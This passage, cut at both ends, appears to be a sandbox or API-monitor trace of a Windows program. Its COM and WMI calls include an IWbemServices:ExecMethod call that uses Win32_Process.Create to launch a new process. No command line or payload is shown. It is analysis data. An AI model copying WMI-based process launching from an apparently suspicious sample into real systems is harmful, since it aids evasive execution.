riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0147.142] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0147.142] IUnknown:QueryInterface (in: This=0x1bc77a90, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0147.142] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0147.142] IUnknown:AddRef (This=0x1bc77a90) returned 0x3 [0147.142] IWbemClassObject:Put (This=0x1aa177b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bc77a90, varVal2=0x0), Type=0) returned 0x0 [0147.143] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc05a0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0147.143] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc05a0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0147.143] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc05a0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0147.143] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0660, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0147.143] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0147.143] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0147.143] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc05a0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0147.143] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc05a0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0147.143] IWbemServices:ExecMethod (in: This=0x1bc97000, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa177b0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa17a60, ppCallResult=0x0) returned 0x0 [0148.207] IWbemClassObject:Get (in: This=0x1aa17a60, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d2d88*=0, plFlavor=0x27d2d8c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc5c, varVal2=0x0), pType=0x27d2d88*=19, plFlavor=0x27d2d8c*=0) returned 0x0 [0148.207] IWbemClassObject:Get (in: This=0x1aa17a60, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d2d88*=19, plFlavor=0x27d2d8c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc5c, varVal2=0x0), pType=0x27d2d88*=19, plFlavor=0x27d2d8c*=0) returned 0x0 [0148.208] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0148.208] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0148.208] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0148.208] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.213] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc3ea0) returned 0x0 [0148.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3ea0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0148.213] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3ea0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbbffa0) returned 0x0 [0148.213] WbemDefPath:IUnknown:Release (This=0x1bcc3ea0) returned 0x0 [0148.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbbffa0) returned 0x0 [0148.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0148.214] WbemDefPath:IUnknown:AddRef (This=0x1bbbffa0) returned 0x3 [0148.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0148.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0148.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc3ee0) returned 0x0 [0148.214] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3ee0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0148.214] WbemDefPath:IUnknown:Release (This=0x1bcc3ee0) returned 0x3 [0148.214] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0148.214] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0148.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0148.214] WbemDefPath:IUnknown:Release (This=0x1bbbffa0) returned 0x2 [0148.214] WbemDefPath:IUnknown:Release (This=0x1bbbffa0) returned 0x1 [0148.214] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0148.214] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0148.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbbffa0) returned 0x0 [0148.214] WbemDefPath:IUnknown:AddRef (This=0x1bbbffa0) returned 0x3 [0148.214] WbemDefPath:IUnknown:Release (This=0x1bbbffa0) returned 0x2 [0148.214] WbemDefPath:IWbemPath:SetText (This=0x1bbbffa0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0148.214] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbffa0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0148.214] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbffa0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0148.215] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbffa0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0148.215] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbffa0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0148.215] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbffa0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0148.215] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbffa0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0148.215] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0148.215] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0148.215] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0148.215] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.217] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc3ca0) returned 0x0 [0148.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3ca0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0148.217] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3ca0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbbfee0) returned 0x0 [0148.217] WbemDefPath:IUnknown:Release (This=0x1bcc3ca0) returned 0x0 [0148.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbbfee0) returned 0x0 [0148.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0148.218] WbemDefPath:IUnknown:AddRef (This=0x1bbbfee0) returned 0x3 [0148.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0148.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0148.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc3a80) returned 0x0 [0148.218] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3a80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0148.218] WbemDefPath:IUnknown:Release (This=0x1bcc3a80) returned 0x3 [0148.218] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0148.218] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0148.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0148.218] WbemDefPath:IUnknown:Release (This=0x1bbbfee0) returned 0x2 [0148.219] WbemDefPath:IUnknown:Release (This=0x1bbbfee0) returned 0x1 [0148.219] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0148.219] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0148.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbbfee0) returned 0x0 [0148.219] WbemDefPath:IUnknown:AddRef (This=0x1bbbfee0) returned 0x3 [0148.219] WbemDefPath:IUnknown:Release (This=0x1bbbfee0) returned 0x2 [0148.219] WbemDefPath:IWbemPath:SetText (This=0x1bbbfee0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0148.219] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfee0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0148.219] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfee0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0148.219] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfee0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0148.219] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbfee0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0148.219] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfee0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0148.219] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbfee0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0148.219] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfee0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0148.219] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0148.219] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0148.219] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0148.219] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0148.220] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0148.220] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0148.220] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.222] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bcc3c40) returned 0x0 [0148.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3c40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0148.222] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3c40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bbbfe20) returned 0x0 [0148.222] WbemDefPath:IUnknown:Release (This=0x1bcc3c40) returned 0x0 [0148.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bbbfe20) returned 0x0 [0148.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0148.223] WbemDefPath:IUnknown:AddRef (This=0x1bbbfe20) returned 0x3 [0148.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0148.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0148.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bcc3bc0) returned 0x0 [0148.223] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3bc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0148.223] WbemDefPath:IUnknown:Release (This=0x1bcc3bc0) returned 0x3 [0148.223] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0148.223] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0148.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0148.223] WbemDefPath:IUnknown:Release (This=0x1bbbfe20) returned 0x2 [0148.223] WbemDefPath:IUnknown:Release (This=0x1bbbfe20) returned 0x1 [0148.224] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0148.224] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0148.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bbbfe20) returned 0x0 [0148.224] WbemDefPath:IUnknown:AddRef (This=0x1bbbfe20) returned 0x3 [0148.224] WbemDefPath:IUnknown:Release (This=0x1bbbfe20) returned 0x2 [0148.224] WbemDefPath:IWbemPath:SetText (This=0x1bbbfe20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0148.224] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfe20, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0148.224] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfe20, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0148.224] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfe20, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0148.224] CoGetObjectContext (in: 